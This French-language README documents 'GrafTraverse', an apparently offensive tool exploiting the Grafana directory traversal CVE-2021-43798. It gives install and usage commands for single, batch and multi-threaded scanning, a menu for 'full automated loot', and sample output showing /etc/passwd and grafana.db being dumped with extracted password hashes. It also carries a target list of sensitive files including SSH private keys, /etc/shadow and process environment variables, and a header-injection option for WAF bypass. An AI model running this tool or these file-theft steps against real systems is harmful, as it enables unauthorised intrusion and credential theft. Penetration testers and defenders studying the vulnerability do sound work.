
CVE-2021-43798 MiNi Exploitation Framework
Outil d'automatisation en ligne de commande pour les tests de sécurité autorisés du Directory Traversal Grafana (CVE-2021-43798).
CVE-2021-43798 est une vulnérabilité de traversée de répertoire non authentifiée dans Grafana 8.x qui permet aux attaquants de lire des fichiers arbitraires sur le système de fichiers sous-jacent via le point de terminaison /public/plugins/. La cause racine est une mauvaise sanitisation des chemins sur les requêtes d'actifs de plugins, permettant aux séquences ../ de s'échapper du répertoire prévu.
GrafTraverse est une réécriture complète de la preuve de concept originale. Il corrige des bugs critiques de gestion des requêtes, ajoute le scan batch multi-threadé, la découverte automatique de plugins, l'extraction de credentials et le reporting structuré — en faisant un outil de qualité production pour les red teams et les testeurs de pénétration.
# Clonez le dépôt
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse
# Assurez-vous que requests est disponible (il est fourni avec Kali)
pip3 install requests
# Rendez-le exécutable
chmod +x GrafTraverse.py
GrafTraverse utilise une CLI basée sur des sous-commandes. Toutes les commandes supportent --help.
Lancer le menu interactif contre un hôte :
python3 GrafTraverse.py single -u http://IP:PORT
============================================================
INTERACTIVE MODE
============================================================
1. /etc/passwd
2. grafana.ini
3. grafana.db
4. Custom path
5. Full automated loot
6. Scan plugins
7. Exit
============================================================
Identifier rapidement quel point de terminaison de plugin est vulnérable sans exploitation :
python3 GrafTraverse.py scan -u http://target:PORT
Charger les cibles depuis un fichier et les traiter simultanément :
python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv
Format targets.txt :
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# Les lignes commençant par # sont ignorées
Fournir une liste de fichiers personnalisée pour une traversée approfondie :
python3 GrafTraverse.py single -u http://target:3000 --wordlist sensitive_files.txt --output-dir ./loot --json log.json
Acheminer via Burp Suite et ajouter des en-têtes personnalisés :
python3 GrafTraverse.py single -u http://target:3000 --proxy http://127.0.0.1:8080 -H "X-Forwarded-For: 127.0.0.1" -H "Authorization: Bearer eyJ0..."
singlebatch| Flag | Description |
|---|---|
-l, --list | Fichier avec les URL cibles (requis) |
--workers | Threads simultanés (défaut : 5) |
(tous les flags de single sont supportés) |
scan| Flag | Description |
|---|---|
-u, --url | URL cible (requis) |
| (tous les flags réseau sont supportés) |
[+] Output: 20260526_GrafTraverse
[*] Testing: /etc/passwd (via alertlist)
[+] SUCCESS: /etc/passwd (1874 bytes)
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd
[*] Testing: /var/lib/grafana/grafana.db (via alertlist)
[+] SUCCESS: /var/lib/grafana/grafana.db (98304 bytes)
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extracted 3 password hashes:
admin:PBKDF2$sha256$10000$...base64...
editor:PBKDF2$sha256$10000$...base64...
viewer:PBKDF2$sha256$10000$...base64...
La séquence de butin intégrée tente de récupérer les fichiers suivants dans l'ordre :
| Fonctionnalité | Description |
|---|
| Brute-force multi-plugins | Sonde automatiquement plus de 40 plugins intégrés pour trouver un chemin vulnérable |
| Mode interactif | Exploitation cible unique pilotée par menu avec aperçu en direct des fichiers |
| Mode batch | Scan concurrent multi-cibles avec travailleurs de threads configurables |
| Mode wordlist | Énumération approfondie de fichiers à l'aide de wordlists personnalisées |
| Extraction automatique de hash | Extrait automatiquement les hachages de mots de passe PBKDF2 de grafana.db téléchargé |
| Journalisation structurée | Exporter les résultats au format JSON et CSV pour des rapports sans couture |
| Support proxy | Acheminer le trafic via Burp, ZAP, ou tout proxy HTTP (--proxy) |
| En-têtes personnalisés | Injecter des en-têtes arbitraires pour contournement WAF ou jetons d'authentification (-H) |
| Personnalisation de la traversée | Remplacer la profondeur de traversée par défaut pour des environnements non standard (--depth) |
| Filtrage intelligent | Élimine les faux positifs en rejetant les réponses JS/CSS/HTML des plugins |
| Zéro dépendance | Nécessite seulement requests (préinstallé sur Kali / Parrot) |
| Flag | Description |
|---|
-u, --url | URL cible (requis) |
--no-download | Mode visualisation seule, ne pas enregistrer les fichiers |
-t, --timeout | Délai d'expiration de la requête en secondes (défaut : 10) |
--proxy | URL du proxy HTTP/HTTPS |
-H, --header | En-tête personnalisé (répétable) |
--depth | Chaîne de traversée (défaut : ../../../../../../../../) |
--output-dir | Répertoire pour enregistrer les fichiers récupérés |
--json | Ajouter les résultats au fichier journal JSON |
--csv | Ajouter les résultats au fichier journal CSV |
--wordlist | Fichier contenant les chemins à énumérer |
--plugin | Forcer un nom de plugin spécifique |
| Fichier | Type | Sensibilité |
|---|
/etc/passwd | Texte | Énumération d'utilisateurs |
/etc/shadow | Texte | Hachages de mots de passe (rarement lisibles) |
/etc/hosts | Texte | Topologie réseau |
/etc/hostname | Texte | Identification de l'hôte |
/etc/grafana/grafana.ini | Texte | Secrets Grafana et identifiants de base |
/var/lib/grafana/grafana.db | Binaire | Base SQLite avec hachages utilisateur et clés API |
/var/log/grafana/grafana.log | Texte | Informations opérationnelles |
/root/.ssh/id_rsa | Texte | Clé privée SSH |
/root/.ssh/authorized_keys | Texte | Cartographie des accès par clé |
/proc/self/environ | Texte | Variables d'environnement du processus |
/proc/self/cmdline | Texte | Arguments du processus |
/proc/version | Texte | Version du noyau |
/proc/mounts | Texte | Structure du système de fichiers |
/etc/os-release | Texte | Identification du système d'exploitation |
/etc/issue | Texte | Identification du système d'exploitation |
/etc/crontab | Texte | Tâches planifiées |
/etc/resolv.conf | Texte | Configuration DNS |